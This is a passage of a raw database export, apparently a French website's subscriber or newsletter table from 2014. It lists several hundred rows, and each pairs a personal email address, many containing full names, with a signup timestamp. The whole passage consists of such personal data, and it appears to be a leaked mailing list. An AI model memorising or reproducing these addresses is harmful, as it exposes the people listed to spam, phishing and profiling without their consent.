00:31:08; ; ;0 +3291;arnica29@sfr.fr;2014-05-22 00:41:29; ; ;0 +3292;rosine.blanc@hotmail.fr;2014-05-22 03:13:42; ; ;0 +3293;thym34@orange.fr;2014-05-22 07:57:46; ; ;0 +3294;boutonmartine@hotmail.fr;2014-05-22 08:10:06; ; ;0 +3295;lilybabe@hotmail.fr;2014-05-22 09:06:26; ; ;0 +3296;loubet.natacha@orange.fr;2014-05-22 09:27:52; ; ;0 +3297;leticefamily@gmail.com;2014-05-22 09:40:18; ; ;0 +3298;vanessa.broucke@gmail.com;2014-05-22 10:11:53; ; ;0 +3299;e.hurot@laposte.net;2014-05-22 10:43:30; ; ;0 +3300;bmagalie@yahoo.fr;2014-05-22 11:11:45; ; ;0 +3301;l.lechapelain@wanadoo.fr;2014-05-22 11:46:14; ; ;0 +3302;virginiedelvallez@sfr.fr;2014-05-22 12:09:26; ; ;0 +3303;inn.ti.manzel@hotmail.fr;2014-05-22 12:09:37; ; ;0 +3304;patricia_peerenbooms@hotmail.com;2014-05-22 12:10:47; ; ;0 +3305;rott076@yahoo.fr;2014-05-22 13:20:16; ; ;0 +3306;pascale.bizet@live.fr;2014-05-22 13:46:32; ; ;0 +3307;severine225@gmail.com;2014-05-22 14:56:08; ; ;0 +3308;peggy.familly@hotmail.fr;2014-05-22 15:31:57; ; ;0 +3309;dominiqueschmitz@sfr.fr;2014-05-22 16:03:42; ; ;0 +3310;nadiiout@gmail.com;2014-05-22 16:05:43; ; ;0 +3311;marionbarbaud@gmail.com;2014-05-22 16:41:41; ; ;0 +3312;Martinebrossin@hotmail.fr;2014-05-22 17:38:08; ; ;0 +3313;melie.bauduin@gmail.com;2014-05-22 20:09:15; ; ;0 +3314;kalinowska@noos.fr;2014-05-22 21:31:38; ; ;0 +3315;vgpp@free.fr;2014-05-22 22:37:55; ; ;0 +3316;Kelly120326@hotmail.fr;2014-05-23 00:49:20; ; ;0 +3317;schuffie@hotmail.com;2014-05-23 15:32:18; ; ;0 +3318;inesonia@hotmail.fr;2014-05-23 16:09:34; ; ;0 +3319;les-pepswanadoo.fr@wanadoo.fr;2014-05-23 16:20:28; ; ;0 +3320;lucai@hotmail.fr;2014-05-23 16:25:28; ; ;0 +3321;kenza-76@hotmail.fr;2014-05-23 20:15:36; ; ;0 +3322;gerelli.c@free.fr;2014-05-23 22:04:42; ; ;0 +3323;karine.s@free.fr;2014-05-23 22:28:36; ; ;0 +3324;barbarapisanu@hotmail.fr;2014-05-24 11:54:35; ; ;0 +3325;marie-caroline.perrin@orange.fr;2014-05-24 12:18:42; ; ;0 +3326;valerie.ancora@orange.fr;2014-05-24 12:40:15; ; ;0 +3327;bruno.falco@orange.fr;2014-05-24 12:52:47; ; ;0 +3328;acarless@tin.it;2014-05-24 18:06:00; ; ;0 +3329;candolors@hotmail.com;2014-05-25 01:01:27; ; ;0 +3330;corinne.demongodin@voila.fr;2014-05-25 19:34:01; ; ;0 +3331;delphine_a_61@hotmail.com;2014-05-25 23:35:19; ; ;0 +3332;puck113@free.fr;2014-05-26 12:50:32; ; ;0 +3333;datour.christian@orange.fr;2014-05-26 18:19:05; ; ;0 +3334;chrisevan66@hotmail.fr;2014-05-26 20:10:49; ; ;0 +3335;Lemoult@me.com;2014-05-26 20:59:05; ; ;0 +3336;Julie.vezine@sfr.fr;2014-05-26 21:57:42; ; ;0 +3337;mcbeauvilain@free.fr;2014-05-27 11:02:40; ; ;0 +3338;fravillain@voila.fr;2014-05-27 15:32:42; ; ;0 +3339;fushia.92@hotmail.fr;2014-05-27 18:02:50; ; ;0 +3340;marianne.breniere@orange.fr;2014-05-27 20:11:19; ; ;0 +3341;hellenes@numericable.fr;2014-05-28 11:22:51; ; ;0 +3342;kalima2384@hotmail.fr;2014-05-28 13:25:08; ; ;0 +3343;bella@sekence.net;2014-05-28 19:28:56; ; ;0 +3344;mariedideron@hotmail.fr;2014-05-28 21:25:09; ; ;0 +3345;Cervera30@orange.fr;2014-05-28 23:58:29; ; ;0 +3346;berry-pop@outlook.fr;2014-05-29 12:52:40; ; ;0 +3347;meyerfamily67@orange.fr;2014-05-29 14:22:47; ; ;0 +3348;ouaria95@hotmail.fr;2014-05-29 16:04:25; ; ;0 +3349;kapouille84430@gmail.com;2014-05-29 18:45:33; ; ;0 +3350;dianadetryalexander@yahoo.com;2014-05-29 23:55:29; ; ;0 +3351;cherietrania33@gmail.com;2014-05-30 14:52:15; ; ;0 +3352;nlebu@aliceadsl.fr;2014-05-30 18:16:06; ; ;0 +3353;perrin_sandrine@hotmail.com;2014-05-31 12:39:11; ; ;0 +3354;audy.dassie@orange.fr;2014-06-01 10:09:56; ; ;0 +3355;charlotte.rouf@gmail.com;2014-06-01 21:07:58; ; ;0 +3356;jch92@orange.fr;2014-06-02 10:20:47; ; ;0 +3357;aquaegebeur@yahoo.fr;2014-06-02 10:20:54; ; ;0 +3358;marie.scholzen@orange.fr;2014-06-02 10:21:03; ; ;0 +3359;mashioda@gmail.com;2014-06-02 10:21:10; ; ;0 +3360;kathiamech@yahoo.fr;2014-06-02 13:09:20; ; ;0 +3361;pascal.tourte@orange.fr;2014-06-02 14:43:57; ; ;0 +3362;lauradelbos@hotmail.fr;2014-06-02 16:23:06; ; ;0 +3363;celiemutel@live.fr;2014-06-02 16:24:30; ; ;0 +3364;florianoudu91@hotmail.fr;2014-06-02 16:24:41; ; ;0 +3365;adry54@hotmail.fr;2014-06-02 16:35:36; ; ;0 +3366;calimero1998@live.fr;2014-06-02 16:42:43; ; ;0 +3367;goun82@yahoo.fr;2014-06-02 16:46:10; ; ;0 +3368;isabelle.garrido123@orange.fr;2014-06-02 16:48:18; ; ;0 +3369;fredou_59@hotmail.fr;2014-06-02 17:05:59; ; ;0 +3370;amelierombauts@outlook.fr;2014-06-02 17:06:14; ; ;0 +3371;jacqueline.rochaix@orange.fr;2014-06-02 17:15:35; ; ;0 +3372;fanpiee@hotmail.fr;2014-06-02 17:25:12; ; ;0 +3373;shaycardoso@live.fr;2014-06-02 17:41:37; ; ;0 +3374;lours62100@live.fr;2014-06-02 17:44:19; ; ;0 +3375;cindyjordannathanchanelle@hotmail.fr;2014-06-02 17:51:48; ; ;0 +3376;chatonaurelie@hotmail.fr;2014-06-02 18:01:53; ; ;0 +3377;keltoum.benzaoui@yahoo.fr;2014-06-02 18:04:18; ; ;0 +3378;fran_27@hotmail.fr;2014-06-02 18:09:39; ; ;0 +3379;melissa-test@hotmail.fr;2014-06-02 18:17:16; ; ;0 +3380;boodadu73@hotmail.fr;2014-06-02 19:59:02; ; ;0 +3381;missludi84@hotmail.fr;2014-06-02 21:13:23; ; ;0 +3382;asd13@hotmail.fr;2014-06-02 21:53:56; ; ;0 +3383;SORAYA.SIAD@HOTMAIL.FR;2014-06-02 23:24:53; ; ;0 +3384;marianne.dycha@laposte.net;2014-06-03 11:23:54; ; ;0 +3385;gzyj0000@hotmail.com;2014-06-03 12:14:39; ; ;0 +3386;camillecanniccioni@hotmail.fr;2014-06-03 12:33:30; ; ;0 +3387;fethi1976@hotmail.com;2014-06-03 14:07:20; ; ;0 +3388;carpe_diem14@hotmail.fr;2014-06-03 17:18:30; ; ;0 +3389;matplucain@gmail.com;2014-06-03 20:11:25; ; ;0 +3390;cristinakichine@yahoo.fr;2014-06-03 21:45:53; ; ;0 +3391;cecilia.sandra@orange.fr;2014-06-04 08:35:47; ; ;0 +3392;aichacpai@yahoo.fr;2014-06-04 10:27:02; ; ;0 +3393;lilirose929@hotmail.fr;2014-06-04 11:20:13; ; ;0 +3394;sakhura59@hotmail.fr;2014-06-04 13:58:09; ; ;0 +3395;marie-clemence.tata@hotmail.fr;2014-06-04 14:12:48; ; ;0 +3396;maryse.lievin@neuf.fr;2014-06-04 15:08:34; ; ;0 +3397;cmoi19@gmail.com;2014-06-04 17:26:24; ; ;0 +3398;jusies@free.fr;2014-06-04 19:03:26; ; ;0 +3399;petitepetite@hotmail.fr;2014-06-04 20:05:24; ; ;0 +3400;cecwalt@gmail.com;2014-06-04 21:01:11; ; ;0 +3401;sophie.ernestine.morvan@gmail.com;2014-06-04 22:20:12; ; ;0 +3402;claudia.luca@laposte.net;2014-06-05 09:58:08; ; ;0 +3403;marion_wurtz@orange.fr;2014-06-05 15:04:20; ; ;0 +3404;sabpier@hotmail.fr;2014-06-05 15:30:44; ; ;0 +3405;christine.fontaine13@orange.fr;2014-06-07 00:02:42; ; ;0 +3406;ljakab@orange.fr;2014-06-07 23:01:05; ; ;0 +3407;papoune93@hotmail.com;2014-06-08 09:44:19; ; ;0 +3408;valsefunebre@live.fr;2014-06-08 11:49:28; ; ;0 +3409;laurence.gradaive@orange.fr;2014-06-08 13:46:39; ; ;0 +3410;beatrice.vuillemin@yahoo.fr;2014-06-08 14:29:46; ; ;0 +3411;gaelle.bandiera@gmail.com;2014-06-09 11:30:01; ; ;0 +3412;thimar84600@yahoo.fr;2014-06-10 10:03:26; ; ;0 +3413;mactenneyson@yahoo.fr;2014-06-10 11:20:08; ; ;0 +3414;nadege.perraudin@sfr.fr;2014-06-10 11:48:27; ; ;0 +3415;nicolemarquier@sfr.fr;2014-06-10 16:40:22; ; ;0 +3416;franckhauser.c@gmail.com;2014-06-10 18:01:35; ; ;0 +3417;hellokittyandme@yahoo.com;2014-06-10 21:44:34; ; ;0 +3418;domi37190@free.fr;2014-06-11 11:33:03; ; ;0 +3419;ingrid.j2@sfr.fr;2014-06-11 16:25:13; ; ;0 +3420;angelini.claire@yahoo.fr;2014-06-11 21:43:47; ; ;0 +3421;gasser.roselyne@orange.fr;2014-06-12 13:37:21; ; ;0 +3422;vaness1985@hotmail.fr;2014-06-12 17:48:28; ; ;0 +3423;gucci6962@hotmail.fr;2014-06-13 14:39:05; ; ;0 +3424;nathaliekaefer@yahoo.fr;2014-06-14 11:47:12; ; ;0 +3425;pero.robert@neuf.fr;2014-06-14 16:43:25; ; ;0 +3426;vlegaffric@orange.fr;2014-06-14 18:09:32; ; ;0 +3427;sabine-blanc@hotmail.fr;2014-06-14 20:02:58; ; ;0 +3428;elysabeth.vaschalde@orange.fr;2014-06-15 11:02:01; ; ;0 +3429;sadye.vergara@gmail.com;2014-06-16 00:46:43; ; ;0 +3430;verlabraswell@inbox.com;2014-06-16 13:36:45; ; ;0 +3431;mireillegeay@hotmail.fr;2014-06-16 19:54:35; ; ;0 +3432;barbaraliebens@hotmail.com;2014-06-17 09:50:01; ; ;0 +3433;s.guyon91@gmail.com;2014-06-17 10:39:58; ; ;0 +3434;brigitte.franchi@sfr.fr;2014-06-17 13:33:34; ; ;0 +3435;2014test45876@gmail.com;2014-06-17 16:48:17; ; ;0 +3436;ghm.mercier@gmail.com;2014-06-17 17:22:22; ; ;0 +3437;bieber.phosie@gmail.com;2014-06-18 14:48:39; ; ;0 +3438;lydie.francioli@yahoo.fr;2014-06-18 20:39:48; ; ;0 +3439;loeillet_annesophie@hotmail.fr;2014-06-19 10:02:51; ; ;0 +3440;selene176@msn.com;2014-06-19 10:35:03; ; ;0 +3441;sandra.m.gloria@gmail.com;2014-06-19 12:38:11; ; ;0 +3442;pascale.cordey@gmail.com;2014-06-19 15:10:44; ; ;0 +3443;sarl.issenuth@wanadoo.fr;2014-06-19 16:21:44; ; ;0 +3444;mirawa48@gmail.com;2014-06-20 14:34:41; ; ;0 +3445;danielle.luccisano@gmail.com;2014-06-20 16:07:01; ; ;0 +3446;monginj@aliceadsl.fr;2014-06-21 22:43:45; ; ;0 +3447;inesyoussefayoub@gmail.com;2014-06-22 03:25:00; ; ;0 +3448;ghadajd@gmail.com;2014-06-22 03:25:09; ; ;0 +3449;ghadoucha@hotmail.fr;2014-06-22 03:25:16; ; ;0 +3450;jelledghada@hotmail.fr;2014-06-22 03:25:24; ; ;0 +3451;alouanejd@gmail.com;2014-06-22 03:25:36; ; ;0 +3452;houbasaf@gmail.com;2014-06-22 03:26:02; ; ;0 +3453;martinefleurs12@orange.fr;2014-06-22 16:37:37; ; ;0 +3454;talanie@laposte.net;2014-06-22 20:59:46; ; ;0 +3455;oxygene7@gmail.com;2014-06-23 03:27:16; ; ;0 +3456;oxygenesept@gmail.com;2014-06-23 03:27:59; ; ;0 +3457;celine.stella@yahoo.fr;2014-06-23 12:50:20; ; ;0 +3458;kitten_fairy143@yahoo.com;2014-06-24 00:50:31; ; ;0 +3459;hola19@live.fr;2014-06-24 03:47:07; ; ;0 +3460;wyborowa21@sf.fr;2014-06-24 14:28:48; ; ;0 +3461;remond22@laposte.net;2014-06-24 19:22:33; ; ;0 +3462;evelyne.elias@laposte.net;2014-06-25 18:31:05; ; ;0 +3463;elsa.raverdy@gmail.com;2014-06-27 08:59:12; ; ;0 +3464;nathalie.vogl@orange.fr;2014-06-27 14:13:29; ; ;0 +3465;elsa.palomares@hotmail.fr;2014-06-27 15:07:45; ; ;0 +3466;jeu1124@yahoo.fr;2014-06-28 11:09:25; ; ;0 +3467;claudinetilloy@gmx.com;2014-06-28 16:10:28; ; ;0 +3468;chantalsentenac@hotmail.com;2014-06-28 16:53:29; ; ;0 +3469;ac_mouilliez@yahoo.fr;2014-06-29 00:16:35; ; ;0 +3470;rachel09081981@hotmail.com;2014-06-29 16:06:40; ; ;0 +3471;mjk32@sfr.fr;2014-06-29 18:48:22; ; ;0 +3472;corinnegermain@live.fr;2014-06-29 21:39:34; ; ;0 +3473;cyrine.ba@orange.tn;2014-06-30 00:07:28; ; ;0 +3474;laroppe.reen-k@hotmail.fr;2014-06-30 04:08:30; ; ;0 +3475;olliviersylvia@gmail.com;2014-06-30 18:48:03; ; ;0 +3476;li.loumenis@gmail.com;2014-07-01 12:33:24; ; ;0 +3477;rosetta.chinnici@live.it;2014-07-01 19:05:04; ; ;0 +3478;cgoubault@neuf.fr;2014-07-01 20:24:15; ; ;0 +3479;aur-h@wanadoo.fr;2014-07-02 02:56:20; ; ;0 +3480;thomas.annick@skynet.be;2014-07-02 10:41:32; ; ;0 +3481;thierry.garnotel@cegetel.net;2014-07-02 19:08:43; ; ;0 +3482;imyimane29@gmail.com;2014-07-03 15:10:12; ; ;0 +3483;toupy7@wanadoo.fr;2014-07-03 18:08:18; ; ;0 +3484;pier_173@yahoo.fr;2014-07-03 21:12:22; ; ;0 +3485;claschon@hotmail.com;2014-07-05 10:20:30; ; ;0 +3486;laurencederoeck@yahoo.fr;2014-07-05 18:36:43; ; ;0 +3487;claudinedansault@gmail.com;2014-07-05 23:37:47; ; ;0 +3488;nadiano@hotmail.fr;2014-07-06 20:53:30; ; ;0 +3489;kate_cy@mail.ru;2014-07-07 11:28:17; ; ;0 +3490;christellemallaise@wanadoo.fr;2014-07-07 16:49:01; ; ;0 +3491;luciole70@orange.fr;2014-07-07 20:28:23; ; ;0 +3492;emilielortal@outlook.fr;2014-07-08 12:52:04; ; ;0 +3493;CHRISTINE.NOTH@CEGETEL.NET;2014-07-08 14:08:25; ; ;0 +3494;roubauda@gmail.com;2014-07-08 23:38:03; ; ;0 +3495;alyette.messonnier@me.com;2014-07-09 09:17:01; ; ;0 +3496;serge.cheneau@neuf.fr;2014-07-09 11:57:35; ; ;0 +3497;sosowp@hotmail.fr;2014-07-09 12:43:52; ; ;0 +3498;astrid.hetzel@free.fr;2014-07-09 21:55:36; ; ;0 +3499;annette.lavocat@sfr.fr;2014-07-10 11:28:45; ; ;0 +3500;rachel.lepoutre@hotmail.com;2014-07-11 17:29:56; ; ;0 +3501;fd788592@skynet.be;2014-07-12 10:52:43; ; ;0 +3502;meredithhedrick@gmail.com;2014-07-12 10:56:55; ; ;0 +3503;cabochesylvine@yahoo.fr;2014-07-12 11:21:52; ; ;0 +3504;laure.dellenbach0720@orange.fr;2014-07-13 10:24:33; ; ;0 +3505;poudroux.chantal@akeonet.com;2014-07-13 19:30:16; ; ;0 +3506;christine_terrier@orange.fr;2014-07-13 19:55:25; ; ;0 +3507;cindibindi56@aol.com;2014-07-14 07:56:50; ; ;0 +3508;nicole.sibe@laposte.net;2014-07-14 15:08:39; ; ;0 +3509;arcariceline@club-internet.fr;2014-07-14 15:50:49; ; ;0 +3510;riitta_bousnina@hotmail.com;2014-07-14 21:15:41; ; ;0 +3511;etoilerose@videotron.ca;2014-07-15 02:17:36; ; ;0 +3512;canya@oriex.fr;2014-07-15 12:32:27; ; ;0 +3513;delattre-laura07@hotmail.fr;2014-07-15 14:00:59; ; ;0 +3514;myriam.boudi@hotmail.fr;2014-07-16 01:41:14; ; ;0 +3515;ssouchet@hotmail.com;2014-07-16 10:37:25; ; ;0 +3516;catherinemartone@gmail.com;2014-07-16 17:05:51; ; ;0 +3517;mcp.riviere@wanadoo.fr;2014-07-17 09:02:42; ; ;0 +3518;anne_claudetonetto@yahoo.fr;2014-07-17 14:11:51; ; ;0 +3519;sophie.hoorens@free.fr;2014-07-17 23:16:38; ; ;0 +3520;pauline_535@hotmail.com;2014-07-18 14:50:10; ; ;0 +3521;bodart.orlane@orange.fr;2014-07-20 11:45:34; ; ;0 +3522;meuniermaige@hotmail.fr;2014-07-21 09:31:45; ; ;0 +3523;deborah.a49@gmail.com;2014-07-21 13:32:31; ; ;0 +3524;galaadroux@hotmail.fr;2014-07-21 16:55:35; ; ;0 +3525;domlouvel02@gmail.com;2014-07-21 19:30:38; ; ;0 +3526;Sonia9874@hotmail.com;2014-07-23 00:08:56; ; ;0 +3527;serenatrovarelli@gmail.com;2014-07-23 08:56:00; ; ;0 +3528;nathalie3011@hotmail.com;2014-07-23 09:49:20; ; ;0 +3529;julie.lafage@hotmail.fr;2014-07-24 00:05:51; ; ;0 +3530;etatdeveille@outlook.fr;2014-07-25 17:11:11; ; ;0 +3531;KIKIPETITGRIS@MAIL.BE;2014-07-25 17:11:52; ; ;0 +3532;attivosandra@yahoo.fr;2014-07-25 19:04:25; ; ;0 +3533;herrade2@hotmail.com;2014-07-28 19:56:23; ; ;0 +3534;m-maine@garancia-beauty.com;2014-07-29 09:34:41; ; ;0 +3535;bisslou@gmail.com;2014-07-30 15:38:52; ; ;0 +3536;sabrina.lienhardt@gmail.com;2014-07-30 21:27:03; ; ;0 +3537;pascale.vereertbrugghen@numericable.fr;2014-07-31 13:48:15; ; ;0 +3538;manue.leblond@free.fr;2014-07-31 22:44:53; ; ;0 +3539;jocelyne.agogue@gmail.com;2014-08-01 14:02:39; ; ;0 +3540;naturagis@orange.fr;2014-08-01 16:22:00; ; ;0 +3541;isabel.m.rangel@gmail.com;2014-08-02 15:36:34; ; ;0 +3542;annecharbonnet@hotmail.com;2014-08-02 18:11:43; ; ;0 +3543;sandra.tisserand0988@orange.fr;2014-08-03 00:12:55; ; ;0 +3544;lilalou85570@gmail.com;2014-08-04 09:31:28; ; ;0 +3545;nathalie3875@gmail.com;2014-08-04 10:39:38; ; ;0 +3546;nathdani@msn.com;2014-08-04 10:39:43; ; ;0 +3547;gaellephilippe78@gmail.com;2014-08-04 19:13:53; ; ;0 +3548;celineparisse@yahoo.fr;2014-08-05 12:50:26; ; ;0 +3549;christian.montagne0289@orange.fr;2014-08-05 13:15:38; ; ;0 +3550;catherinebracke@aol.com;2014-08-05 17:33:29; ; ;0 +3551;thenightshadow@hotmail.fr;2014-08-06 13:28:50; ; ;0 +3552;mlcc2672@gmail.com;2014-08-07 11:31:33; ; ;0 +3553;Newdil11@sfr.fr;2014-08-08 00:57:18; ; ;0 +3554;bettyboop9333@yahoo.fr;2014-08-08 15:40:36; ; ;0 +3555;jmc.pagni@live.fr;2014-08-09 15:09:15; ; ;0 +3556;huguette.albernhe@orange.fr;2014-08-09 15:15:33; ; ;0 +3557;lucieflowerbomb@hotmail.fr;2014-08-09 21:40:39; ; ;0 +3558;cnathalie.je@orange.fr;2014-08-09 23:54:17; ; ;0 +3559;mallorie2009@hotmail.fr;2014-08-10 07:50:19; ; ;0 +3560;anne-so@hotmail.fr;2014-08-10 15:16:50; ; ;0 +3561;JOHANNAPARFAIT@hotmail.fr;2014-08-10 22:48:25; ; ;0 +3562;amatthey@me.com;2014-08-11 08:04:41; ; ;0 +3563;maider.18@hotmail.fr;2014-08-13 20:29:50; ; ;0 +3564;374496480@qq.com;2014-08-13 21:42:23; ; ;0 +3565;pascale.mas2@wanadoo.fr;2014-08-15 09:27:11; ; ;0 +3566;altomare.christine@orange.fr;2014-08-15 14:47:51; ; ;0 +3567;vero.devergnes@free.fr;2014-08-15 15:24:14; ; ;0 +3568;shamina.tropic@wanadoo.fr;2014-08-16 21:01:32; ; ;0 +3569;emilie1.flament@gmail.com;2014-08-18 10:24:01; ; ;0 +3570;sylvie.charrier@vnf.fr;2014-08-18 14:12:56; ; ;0 +3571;aline.cornue@orange.fr;2014-08-18 22:46:06; ; ;0 +3572;frederique.leborgne@gmail.com;2014-08-19 11:38:51; ; ;0 +3573;yayacotelle@hotmail.fr;2014-08-19 15:02:10; ; ;0 +3574;clothildequin@yahoo.fr;2014-08-19 18:09:28; ; ;0 +3575;nath45650@hotmail.fr;2014-08-20 11:24:09; ; ;0 +3576;emiliedubreu@yahoo.fr;2014-08-20 16:58:00; ; ;0 +3577;pauline.pusse@hotmail.fr;2014-08-20 19:55:48; ; ;0 +3578;gaelle.roualet@sfr.fr;2014-08-22 15:45:13; ; ;0 +3579;soniadeleau@yahoo.fr;2014-08-22 18:48:54; ; ;0 +3580;coraliebrillant@sfr.fr;2014-08-22 22:09:37; ; ;0 +3581;slatina32@orange.fr;2014-08-23 08:14:23; ; ;0 +3582;Vaccarain@yahoo.com;2014-08-24 21:07:10; ; ;0 +3583;radenne.france@gmail.com;2014-08-26 08:19:01; ; ;0 +3584;francesca956@hotmail.fr;2014-08-26 11:10:49; ; ;0 +3585;Simone.lavernhe@orange.fr;2014-08-26 11:11:01; ; ;0 +3586;sindy_reboul@hotmail.com;2014-08-26 11:35:25; ; ;0 +3587;radya38@live.fr;2014-08-26 11:59:23; ; ;0 +3588;Celipoirier@yahoo.fr;2014-08-26 12:00:27; ; ;0 +3589;steph.jordan@live.fr;2014-08-26 12:16:20; ; ;0 +3590;c.roche54@gmail.com;2014-08-26 12:18:00; ; ;0 +3591;jen0403@hotmail.fr;2014-08-26 12:36:11; ; ;0 +3592;Langedubonheur7@hotmail.fr;2014-08-26 13:02:32; ; ;0 +3593;bavmorda76@gmail.com;2014-08-26 13:09:40; ; ;0 +3594;delphine.mouchague@wanadoo.fr;2014-08-26 13:36:01; ; ;0 +3595;jardillierc@yahoo.fr;2014-08-26 13:57:00; ; ;0 +3596;gabrielacarmona@hotmail.fr;2014-08-26 14:11:45; ; ;0 +3597;julie_bouclesdor@hotmail.com;2014-08-26 14:23:37; ; ;0 +3598;mail.mjs@free.fr;2014-08-26 14:30:58; ; ;0 +3599;brulie8888130489@hotmail.fr;2014-08-26 14:32:39; ; ;0 +3600;Supernana79@gmail.com;2014-08-26 14:45:49; ; ;0 +3601;virginiedecorse2105@gmail.com;2014-08-26 14:49:30; ; ;0 +3602;dpelardy@gmail.com;2014-08-26 14:53:38; ; ;0 +3603;celyne@gmail.com;2014-08-26 16:27:04; ; ;0 +3604;Claire.manca@gmail.com;2014-08-26 16:40:58; ; ;0 +3605;babouska@gmx.fr;2014-08-26 17:15:23; ; ;0 +3606;claudiedelacalle@yahoo.fr;2014-08-26 17:33:19; ; ;0 +3607;laetitia.bolteau@wanadoo.fr;2014-08-26 18:59:47; ; ;0 +3608;alohausa@hotmail.fr;2014-08-26 20:13:10; ; ;0 +3609;marie-paule.amigo@orange.fr;2014-08-26 20:16:29; ; ;0 +3610;elodie110805@hotmail.fr;2014-08-26 21:20:30; ; ;0 +3611;lentraide12@wanadoo.fr;2014-08-26 23:02:34; ; ;0 +3612;billardf@outlook.fr;2014-08-26 23:46:47; ; ;0 +3613;g6k008@gmail.com;2014-08-27 00:37:46; ; ;0 +3614;beacazuc@sfr.fr;2014-08-27 13:25:09; ; ;0 +3615;christel.gauthier@hotmail.fr;2014-08-27 15:28:27; ; ;0 +3616;catherine.campagna@orange.fr;2014-08-28 07:32:52; ; ;0 +3617;marie.guittard@hotmail.fr;2014-08-28 14:01:53; ; ;0 +3618;darth.lothie@gmail.com;2014-08-28 16:58:43; ; ;0 +3619;Josette.even@hotmail.fr;2014-08-28 19:08:28; ; ;0 +3620;candou.83@gmail.com;2014-08-28 19:33:31; ; ;0 +3621;lulu13591514@hotmail.com;2014-08-29 02:35:38; ; ;0 +3622;lassere.elodie@gmail.com;2014-08-29 07:29:22; ; ;0 +3623;chantal.jourdain@cegetel.net;2014-08-29 12:25:41; ; ;0 +3624;pv.coquelin@orange.fr;2014-08-29 18:10:36; ; ;0 +3625;maryfrancedequidtmans@hotmail.fr;2014-08-30 14:34:51; ; ;0 +3626;chantalgouleret@orange.fr;2014-08-30 20:59:20; ; ;0 +3627;ghislaine.prudhomme2@orange.fr;2014-08-31 14:34:29; ; ;0 +3628;lea.piccard@sunstore.ch;2014-09-01 14:47:42; ; ;0 +3629;deleven@laposte.net;2014-09-01 18:55:52; ; ;0 +3630;Ml.Paranque@gmail.com;2014-09-01 20:05:56; ; ;0 +3631;n.buffiere@hotmail.fr;2014-09-02 06:57:33; ; ;0 +3632;c.hua@etatpur.com;2014-09-02 14:29:19; ; ;0 +3633;valerietomczak@wanadoo.fr;2014-09-02 17:11:32; ; ;0 +3634;f.tavenaux@free.fr;2014-09-02 22:02:45; ; ;0 +3635;marjorie.besseau@orange.fr;2014-09-02 22:33:03; ; ;0 +3636;zz1113@live.fr;2014-09-02 23:06:07; ; ;0 +3637;kooboonewsletter1@mailimate.com;2014-09-03 05:20:58; ; ;0 +3638;silkstorm333@gmail.com;2014-09-04 17:50:19; ; ;0 +3639;tatoume@gmail.com;2014-09-05 00:18:48; ; ;0 +3640;mariepoteau95@gmail.com;2014-09-06 11:10:49; ; ;0 +3641;claire.dournel@gmail.com;2014-09-06 11:34:05; ; ;0 +3642;duboutfv@free.fr;2014-09-06 12:24:04; ; ;0 +3643;c.thirard@free.fr;2014-09-06 17:26:34; ; ;0 +3644;sansonmarie02@yahoo.com;2014-09-07 00:30:38; ; ;0 +3645;pascale.marandon@free.fr;2014-09-07 09:07:36; ; ;0 +3646;m-c.geffard@orange.fr;2014-09-07 23:10:13; ; ;0 +3647;dominiquesenard@hotmail.com;2014-09-08 19:25:35; ; ;0 +3648;pharmacie.brault@orange.fr;2014-09-09 11:47:32; ; ;0 +3649;pauline.blavier@gmail.com;2014-09-09 11:47:51; ; ;0 +3650;sandrinesthetik@hotmail.fr;2014-09-09 13:53:02; ; ;0 +3651;zouki79@hotmail.fr;2014-09-09 16:35:47; ; ;0 +3652;Jackredon@wanadoo.fr;2014-09-09 22:18:34; ; ;0 +3653;valerie.duflot@gmail.com;2014-09-10 10:19:44; ; ;0 +3654;d.melon@abattoirliege.be;2014-09-10 11:10:08; ; ;0 +3655;s.lavenelle@orange.fr;2014-09-10 15:29:18; ; ;0 +3656;sylvie.mayen@paris.fr;2014-09-10 15:29:32; ; ;0 +3657;marianneseon@orange.fr;2014-09-10 21:56:10; ; ;0 +3658;v.dumond@cegetel.net;2014-09-10 22:32:43; ; ;0 +3659;costaperaria@hotmail.com;2014-09-11 09:03:13; ; ;0 +3660;alexia072@hotmail.fr;2014-09-11 11:37:58; ; ;0 +3661;annie.monnet@gmail.com;2014-09-11 12:15:45; ; ;0 +3662;antoine.lavet@gmail.com;2014-09-11 13:12:38; ; ;0 +3663;gaetine@hotmail.fr;2014-09-12 13:30:44; ; ;0 +3664;sandrafoissacfabre@yahoo.fr;2014-09-12 13:33:06; ; ;0 +3665;michamartine@hotmail.com;2014-09-12 15:34:32; ; ;0 +3666;rox.rousseau72@gmail.com;2014-09-12 15:36:59; ; ;0 +3667;boudinet.marion@orange.fr;2014-09-13 00:22:57; ; ;0 +3668;crepin.astrid@gmail.com;2014-09-13 01:28:55; ; ;0 +3669;valentine.mecp@gmail.com;2014-09-13 11:16:04; ; ;0 +3670;pidolot.manu@hotmail.fr;2014-09-13 12:18:24; ; ;0 +3671;rosy.badinos@free.fr;2014-09-14 10:44:53; ; ;0 +3672;nadelou@gmail.com;2014-09-14 13:43:06; ; ;0 +3673;julierv75@gmail.com;2014-09-15 01:54:46; ; ;0 +3674;stephanie95490@hotmail.com;2014-09-15 16:15:05; ; ;0 +3675;paladejus@gmail.com;2014-09-15 19:01:44; ; ;0 +3676;barbara.dzierzyk@orange.fr;2014-09-16 14:27:37; ; ;0 +3677;cath@webdefemme.com;2014-09-16 22:09:21; ; ;0 +3678;chmielewski.danielle@yahoo.fr;2014-09-17 14:55:35; ; ;0 +3679;dominique.zabus@gmail.com;2014-09-17 15:58:02; ; ;0 +3680;lydieferreira@754yahoo.fr;2014-09-18 23:49:27; ; ;0 +3681;swerlander@gmail.com;2014-09-19 12:01:35; ; ;0 +3682;varichon.louloune@wanadoo.fr;2014-09-19 14:24:11; ; ;0 +3683;miloup87@yahoo.fr;2014-09-19 16:02:48; ; ;0 +3684;Chini68@hotmail.fr;2014-09-19 19:14:18; ; ;0 +3685;mensahgrece@yahoo.fr;2014-09-20 16:23:42; ; ;0 +3686;keltoi5330@yahoo.fr;2014-09-21 20:06:40; ; ;0 +3687;daffyburn@hotmail.fr;2014-09-22 22:01:55; ; ;0 +3688;emmanuelle_42@hotmail.com;2014-09-23 16:05:35; ; ;0 +3689;n.goudedranche@orange.fr;2014-09-23 16:24:25; ; ;0 +3690;titia862009@gmail.com;2014-09-23 22:13:17; ; ;0 +3691;loicfred9496@hotmail.fr;2014-09-24 09:33:20; ; ;0 +3692;eric-de-lalande@orange.fr;2014-09-24 11:29:18; ; ;0 +3693;nickiejoy@free.fr;2014-09-24 14:49:15; ; ;0 +3694;anaisbouchard@msn.com;2014-09-24 16:47:06; ; ;0 +3695;c.huchet85@laposte.net;2014-09-25 12:20:43; 